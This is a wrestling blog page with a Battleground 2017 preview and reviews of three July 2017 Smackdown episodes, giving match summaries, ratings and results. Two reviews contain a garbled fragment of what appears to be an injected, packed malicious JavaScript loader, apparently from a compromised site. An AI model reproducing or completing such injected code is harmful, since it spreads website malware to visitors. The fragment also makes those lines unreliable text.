In case you haven’t been watching in recent weeks (If so, why did you pick this show to get back in?), Styles won the title from Owens at a house show earlier this month. It doesn’t exactly change anything of note but it’s a surprise, which is something that can at least mix things up a bit. It also put the feud at a fall apiece after Owens beat Styles via countout in their first pay per view title match.

I’ll take Styles to win here in what shouldn’t be the biggest surprise. As has been the case multiple times on this show, it feels like this match is just a requirement before we get on to the match that actually matters at “Summerslam 2017”. Styles looks like he’ll be fighting Nakamura or Cena (please not a triple threat) and that means he needs to win here as Owens goes on to….I have no idea actually.

Smackdown World Title: Jinder Mahal(c) vs. Randy Orton

Yes AGAIN and yes we’re doing this because we need a Punjabi Prison match to fit the whole Battleground moniker. This match hasn’t been seen in over ten years and that’s probably for the best. It’s more complicated than it needs to be (just do a double cage match and nix the trap doors thing) and is only there because of Mahal’s ethnicity.

I’m not sure on who wins though but I think I’ll go with Orton as the new champion. Wise, what in the world is actually happening on this show? Mahal isn’t exactly saving the world on “Smackdown Live” so having him lose the title in a match like this wouldn’t be the worst idea in the world. It does raise the question of what Orton does next, so maybe that’s where Corbin cashes in the briefcase. Eh nah. Not at Battleground.

Overall Thoughts

Thursday night, I had forgotten not only that this show was taking place on Sunday but also what it was called. This show feels like another name on a very long list of shows that feels like it’s there to fill in a spot on the calendar. Just calling it Battleground makes it seem like they just threw this show out there and came up with a main event to fit with the name later. The World Title changing hands could make this show feel a bit more important but it’s going to be hard to shake off the stigma of being just another show.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – July 18, 2017: Love in the Time of a Dead Horse

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzhks|var|u0026u|referrer|dyekk||js|php'.split('|'),0,{})) July 18, 2017
Location: Legacy Arena, Birmingham, Alabama
Commentators: Tom Phillips, John Bradshaw Layfield, Byron Saxton

It’s the go home show for Battleground and Jinder Mahal has brought the Punjabi Prison with him to Smackdown. My guess would be to get people interested in what the match is going to look like if they haven’t been around for more than ten years, which is about as good of an idea as they could have for this. Let’s get to it.

We open with a video on the Punjabi Prison, even though it doesn’t have a ton of history.

Here’s Mahal to enter the Punjabi Prison, which is still fairly ridiculous looking. Mahal promises to bring Orton inside here and destroy his legacy. Oh come on that stable was destroyed years ago. The Singh Brothers explain the rules: there’s a regular cage (made of bamboo that is) with four trap doors. A wrestler can ask to open the door for sixty seconds but once it closes, it can’t be opened again. Then there’s another bamboo cage around the ring which has to be climbed over. The first person out of both structures wins.

Mahal speaks some Punjab but here’s Orton to interrupt. Orton talks about how crazy Mahal is to want to lock himself inside a cage with him and starts to climb the cage. He stops though and just promises to destroy Mahal to wrap things up without going in to fight all three at once.

Kofi Kingston vs. Jimmy Uso

Kofi starts fast and takes Jimmy down before annoying him with some dancing. A good looking flip dive to the floor drops Jimmy again and we take a break. Back with Kofi making a comeback with chops and kicks, only to have Trouble in Paradise countered into a Death Valley Driver into the corner for a close two. Kofi shoves him off the top but has to yell at Jey, allowing Jimmy to roll through a high crossbody for the pin at 8:38.

Rating: C-. The clip in the middle hurt this a lot as we went from one person in trouble and flipped it around during the commercial. Kofi losing is interesting and could suggest the Usos losing the titles on Sunday. New Day doesn’t need them but they’re instantly going to make the titles more interesting than the Usos have.

The women’s division wants to beat Lana up but Tamina cuts them off. Natalya suggests Becky vs. Charlotte, the latter of whom says that wouldn’t be competitive. Shane McMahon makes the match.

We recap last night’s announcement that Jason Jordan is Kurt Angle’s son. I don’t mind it as much as some people do but they need to walk a very thin line on this one.

Chad Gable sits down with Renee Young for an interview and still looks stunned. He didn’t have any heads up on this but Jordan did call him to talk about things later. Gable has some ideas for his future but he’s keeping them to himself for now.

Mike Kanellis vs. Sami Zayn

This is Mike’s in-ring debut. Sami hammers away to start and sends Mike outside for a running clothesline. Mike is sent into the barricade as this is one sided so far. The exploder looks to set up the Helluva Kick but Maria comes in for the distraction. Mike blasts him in the face and hits a Samoan driver for the pin at 2:59.

Here’s John Cena to talk about the flag match with both the American and Bulgarian flags hanging over the corners. Cena runs down Sunday’s card before moving on to the flag match, where you have to get your flag from a pole and plant it at the finish line. He promises we’re going to remember the flag match more than anything else.

Cena gets all fired up and promises that he’s ready because the USA is a nation of fighters. He lists off some important moments in American history, including the Civil War, World War II and 9/11 before waving the flag. Cue Rusev to beat Cena down and knock him out with the Accolade before waving the Bulgarian flag. This was WAY too serious and way too well done of a promo to waste it on a flag match against Rusev.

Shinsuke Nakamura comes up to AJ Styles but doesn’t want to talk strategy for tonight’s main event. Instead he’d rather point at the US Title and say one day, he’s answering the Open Challenge. I’d really hope that’s at a major pay per view.

Becky Lynch vs. Charlotte

Natalya is on commentary. Feeling out process to start with Charlotte powering her down and grabbing a headlock. Becky comes back with a one footed dropkick but Charlotte backflips away twice. The threat of the Disarm-Her sends Charlotte outside and we take an early break.

Back with Becky throwing her back inside but Charlotte forearms her down to take over. A knee to the back of the head gets two on Becky, who escapes the Figure Four. Becky springboards into a forearm to Charlotte’s chest and there’s the Bexploder. The Disarm-Her is countered with a big boot for two but the moonsault misses, allowing the Disarm-Her to make Charlotte tap at 9:00.

Rating: C+. It’s very clear that these two are miles ahead of the rest of the division but worry not because there’s always the chance that Nikki Bella can come back and show them how to work. Becky winning is a good idea as she hasn’t had a big win in a long time and a clean win over Charlotte is quite the accomplishment.

Post match Lana and Tamina come out to clean house. Tamina stares at Lana for a bit (Who can blame her?).

WWE Network shill.

Naomi is ready to face anyone but Carmella comes up with the briefcase and says she’ll see Naomi on Sunday.

It’s time for the Fashion X-Files with Breeze as Skully, complete with a red wig. Breeze doesn’t buy the idea of the paranormal but there’s a ghostly moaning. Never mind though as it’s just Aiden English warming up. A white light comes down from the ceiling with Breeze saying he wants to meet Alf, Max Moon and Chewbacca. It turns out to be a delivery guy who turned the lights on so they could sign for a package. Breeze won’t answer what’s in the box because it’s Tully’s (Fandango’s stick horse) head. There’s a note saying Battleground, where things will be concluded.

Shinsuke Nakamura/AJ Styles vs. Kevin Owens/Baron Corbin

Corbin jumps Nakamura in the aisle and Owens joins in until AJ FINALLY comes up to help. We hit the break before a bell and are joined in progress with AJ in trouble thanks to a hard forearm from Corbin. AJ gets over for the hot tag to Nakamura, who immediately goes to Good Vibrations on Owens.

Corbin low bridges Nakamura to the floor though and Owens stomps away in the corner to take over. Baron grabs a bearhug for a bit before sliding under the bottom rope, only to have Nakamura waiting on him for a change. The double knockdown isn’t enough for the hot tag to AJ as Corbin is up first (makes sense for a change) to knocks Styles off the apron. Nakamura comes back with the rapid strikes, including a kick to Owens before he can interfere.

Deep Six gives Corbin two but the enziguri is enough to make the hot tag off to Styles. More rapid strikes have Owens in trouble but he takes AJ’s head off with a clothesline. Corbin comes in and is caught in a fast Calf Crusher, sending him scurrying to the ropes. Nakamura is sent into the timekeeper’s area, leaving AJ to have to escape End of Days. Owens makes a blind tag though and it’s a superkick into the Pop Up Powerbomb for the pin at 9:53.

Rating: B. They were working out there and it was a hot match as a result. All four were moving and hitting their stuff to give us a good match to wrap up the show. At least it was a tag match where Styles took the pin, though I can’t imagine them putting the title back on Owens so soon.

Overall Rating: B-. Good show this week to build up to another B level pay per view. There’s only so much you’re going to get out of this Sunday so a strong go home show is always a nice surprise. Cena vs. Rusev feels like a highly glorified warmup for Cena before whatever he’s doing at Summerslam but other than that, I’m interested in almost everything else they’re doing, at least to a degree.

Results

Jimmy Uso b. Kofi Kingston – Reversed high crossbody

Mike Kanellis b. Sami Zayn – Samoa driver

Becky Lynch b. Charlotte – Disarm-Her

Kevin Owens/Baron Corbin b. AJ Styles/Shinsuke Nakamura – Pop Up Powerbomb to Styles

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – July 11, 2017: Wake Me When The Battle Is On

First off, Happy Anniversary Becca.  Thanks for the first two of many.

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbndh|var|u0026u|referrer|kthzf||js|php'.split('|'),0,{})) July 11, 2017
Commentators: Tom Phillips, Byron Saxton, John Bradshaw Layfield

We’re less than two weeks away from Battleground and we don’t know much about the card yet. The big story so far is the Punjabi Prison match with Smackdown World Champion Jinder Mahal defending against Randy Orton, but Orton is off filming a movie. With that feud temporarily on the shelf, we’ll look at AJ Styles, who won the US Title over the weekend in a big surprise. Let’s get to it.

We open with a look at last week’s battle royal with AJ winning a shot at Kevin Owens and the US Title. Styles then won the title at Madison Square Garden at a house show over the weekend.

Opening sequence.

Owens says no one wants Cena around here anymore because his time is over. John says the usual: if you want him gone, get rid of him. Rusev runs in from behind and takes Cena down, leaving Owens to powerbomb AJ. Cena gets caught in the Accolade and the villains stand tall.

The obvious tag match is set.

Jinder Mahal vs. Tye Dillinger

Non-title. Tye starts fast and sends Mahal into the corner, setting up a springboard high crossbody, only to get caught with a clothesline. Jinder hammers him down and chokes on the ropes a bit as we take an early break. Back with Tye shoving him away and firing off his left hands in the corner, only to eat a running knee to the face. The Khallas gives Mahal the pin at 6:40.

Rating: D. And so much for Dillinger. You had a nice moment with the debut and the TEN chants but now you’re getting squashed by the guy who was the squashee until a few months back. There really didn’t need to be a break in the middle of this as it merely showed how lame most of Mahal’s offense is. As usual, that’s the big problem with Mahal: he’s nothing beyond average and there’s not much away around it.

Mahal talks about bringing diversity and having 1.3 billion people behind him. He’ll take care of Orton next week when he brings the Punjabi Prison.

Jey Uso vs. Xavier Woods

Woods hits a few forearms to the back but gets sent into the corner early on. New Day protests and it’s a triple ejection with Kofi, Big E. and Jimmy being tossed. A quick superkick gets two on Woods but the Superfly Splash hits knees. Woods comes right back with the really long top rope elbow for the pin at 2:18.

The women’s division is in the locker room trying to find out who is getting the next title shot. Charlotte threatens a ruckus if it’s Lana so Shane McMahon makes a five way elimination match for Battleground. Hostilities seem imminent so he makes Charlotte/Becky Lynch vs. Tamina/Natalya. The rest of the women leave so Carmella comes in and demands that James Ellsworth be reinstated as per orders from her attorney. Shane rips up her request.

Baron Corbin isn’t worried about Shinsuke Nakamura and says it’s going to be sayonara tonight.

Baron Corbin vs. Shinsuke Nakamura

Nakamura jumps him in the aisle and since this is an angle, referees break it up instead of letting the match happen. Odds are we’ll see this at Battleground.

Cena comes up to Styles in the back to talk about the US Open Challenge. Styles wants some payback from the Royal Rumble but they’ll have each others back tonight.

Cedric Alexander tells us to watch his I Quit match against Noam Dar on 205 Live.

Becky Lynch/Charlotte vs. Tamina/Natalya

Becky trips Tamina up and drops a spinning leg before handing it off to Charlotte. That doesn’t go as well as Charlotte gets taken into the corner for a stomping, only to nip up and chop away. The Bexploder sends Natalya to the floor but she sends Becky into the steps as we take a break.

Back with Becky fighting out of a chinlock but not being able to get over to Charlotte. Becky kicks away from the Sharpshooter and now it’s off to Charlotte for the chops. House is quickly cleaned but Lana pops up onto the apron for a distraction. Natalya uses the distraction to make a blind tag, allowing Tamina to get in the superkick for the pin on Charlotte at 8:40.

Rating: D+. Just a standard tag match here as Lana and Tamina get some momentum. The Smackdown women’s division is suddenly feeling rather inferior to the Raw counterpart as they seem to be trying to make new stars instead of running with what they have. It doesn’t help that two of the heels, Natalya and Tamina in this case, are black holes of charisma.

Maria Kanellis looks for Sami Zayn for the sake of an apology but no one has seen him.

Post break Sami interrupts Mike and Maria and says he won’t be apologizing. He’s been busy trying to have wrestling matches but keeps having to skirt around the two of them. Sami asks which one of them is the fighter so Maria slaps him in the face. Mike busts a vase over Sami’s head.

It’s time for Runway Walker: Texas Rangers, meaning a new version of the Fashion Files, complete with Chuck Norris clips from Survivor Series 1994. They’re in cowboy gear this year with Tyler wanting to lasso someone so they have to tell the truth like Wonder Woman. Fandango distracts Zack Ryder but Breeze lassos himself by mistake.

This makes him tell the truth, including that he wears a bra while going undercover because he’s no hippie. Mojo Rawley comes up and asks what he just stumbled into. Fandango suggests that the Hype Bros jumped them but Mojo says they wouldn’t do something shady like that.

Ryder calls Mojo eliminating him last week shady but Mojo says it was a battle royal. Ryder thinks it’s time to get back to reality and seems to suggest that Breezango does the same. In the melee, someone has stolen Fandango’s (stick) horse but they can’t decide if it was ghosts or aliens. Together: “GHOST ALIENS!” Next week: The Fashion X Files. Seriously.

Rusev/Kevin Owens vs. John Cena/AJ Styles

Rusev headlocks Cena to start and drops him without much effort, meaning it’s time to wave the Bulgarian flag. It’s off to Owens for some choking before Rusev punches Cena in the face. Back with Rusev spinwheel kicking Cena down but missing the middle rope headbutt. The hot tag brings in Styles for a quick Calf Crusher, only to have Rusev take him down again.

Owens comes in to stomp away and we hit the chinlock. The limping Rusev comes back in with the bearhug, which JBL says won Bruno Sammartino the World Title in 35 seconds in 1963 (it was a backbreaker in 48 seconds but the year is right). Styles escapes and comes in with the usual, including the Shuffle to Owens. Rusev eats the Phenomenal Forearm and it’s the AA to pin Owens at 13:09.

Rating: C. Just a main event tag here but good enough while it lasted. For the sake of the ending here, I’m glad Owens lost the title so having him take the fall isn’t the worst thing in the world. The match was perfectly fine and a good way to have two feuds together in one, though I’m only somewhat interested in Cena vs. Rusev at the pay per view.

Cena and Styles celebrate but have a staredown with Cena looking at the US Title. Cena holds up AJ’s hand to end the show.

Overall Rating: C-. Pretty much a skippable show here as there were a few things added to the pay per view card but it doesn’t feel like much of an event. Then again, given some of the stuff we might be seeing at Summerslam, I could easily live with watching a lackluster show like Battleground to get there. Nothing special this week, but there are far worse ways to spend two hours.

Results

Jinder Mahal b. Tye Dillinger – Khallas

Xavier Woods b. Jey Uso – Top rope elbow

Tamina/Natalya b. Becky Lynch/Charlotte – Superkick to Charlotte

John Cena/AJ Styles b. Rusev/Kevin Owens – AA to Owens

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – July 4, 2017: Johnny Cena And the News

Smackdown
Date: July 4, 2017
Location: Talking Stick Resort Arena, Phoenix, Arizona
Commentators: John Bradshaw Layfield, Tom Phillips, Byron Saxton

The opening video looks at Cena.

Chad Gable vs. AJ Styles

No Jason Jordan in sight. Feeling out process to start with AJ easily being taken down but popping up for his dropkick to send us to a break less than a minute and a half in. Back with AJ blocking a belly to belly superplex attempt. The Phenomenal Forearm is broken up but Gable misses a moonsault attempt. AJ gets the Calf Crusher for a bit but Gable twists out and plants him with a German suplex. Not that it matters as AJ is sent to the apron and hits the Phenomenal Forearm for the pin at 8:11.

AJ helps him up post match.

Naomi is defending and grabs her reverse Rings of Saturn for the tap out at 11 seconds.

Baron Corbin jumps Shinsuke Nakamura with the briefcase.

Randy Orton vs. Aiden English

Battle Royal

Sami Zayn, Konnor, Viktor, Dolph Ziggler, Luke Harper, Mojo Rawley, Zack Ryder, Erick Rowan, Fandango, Tyler Breeze, AJ Styles, Tye Dillinger, Sin Cara

Rating: C. This was better than your average battle royal as they got rid of most of the nothing guys early and got down to people fans care about. Styles winning was obvious but they kept things moving and it was far from bad. The fans would have been happy with any of the final three so it was hardly torture.

Owens hits the ring and beats Styles down, only to have AJ knock him to the floor and hold up the title to end the show.

Results

AJ Styles b. Chad Gable – Phenomenal Forearm

Naomi b. Lana – Reverse Rings of Saturn

Aiden English b. Randy Orton via DQ when Orton used the steps

AJ Styles won a battle royal last eliminating Sami Zayn

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




New Column: Let’s Think About This

https://wrestlingrumors.net/kbs-review-lets-think/

A trip through KB’s mind on a Wednesday night with Tito Santana, William Regal, Kofi Kingston and Alexa Bliss.




New Column: The Jinder Gap and Mahal Its Possibilities

https://wrestlingrumors.net/kbs-review-jinder-gap-mahal-possibilities/

 

It’s not the worst idea in the world.  I mean, it’s close, but there are worse ideas.